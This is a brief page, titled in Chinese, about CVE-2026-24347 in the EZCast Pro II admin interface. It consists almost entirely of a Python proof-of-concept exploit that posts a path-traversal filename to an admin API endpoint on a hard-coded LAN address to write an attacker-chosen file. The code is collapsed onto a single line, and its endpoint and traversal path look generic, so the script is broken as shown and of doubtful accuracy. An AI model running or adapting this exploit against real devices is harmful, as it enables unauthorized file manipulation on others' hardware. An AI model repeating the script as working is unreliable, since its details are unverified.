CVE-2026-24347: EZCast Pro II Admin UI输入验证不当漏洞

import requests # CVE-2026-24347 PoC - EZCast Pro II Input Validation Issue # Target: EZCast Pro II Admin UI # Vulnerability: Improper input validation in /tmp directory file operations TARGET_IP = "192.168.1.100" TARGET_URL = f"http://{TARGET_IP}/admin/api/temp_file" def exploit_cve_2026_24347(): """ PoC for CVE-2026-24347 This demonstrates improper input validation allowing file manipulation in /tmp """ # Malicious payload to write file to /tmp directory payload = { 'filename': '../../tmp/pwned_file.txt', 'content': 'COMPROMISED BY CVE-2026-24347' } try: # Send exploit request (authentication may be required depending on config) response = requests.post(TARGET_URL, data=payload, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("CVE-2026-24347 PoC") print("Target: EZCast Pro II < 1.17478.146") exploit_cve_2026_24347()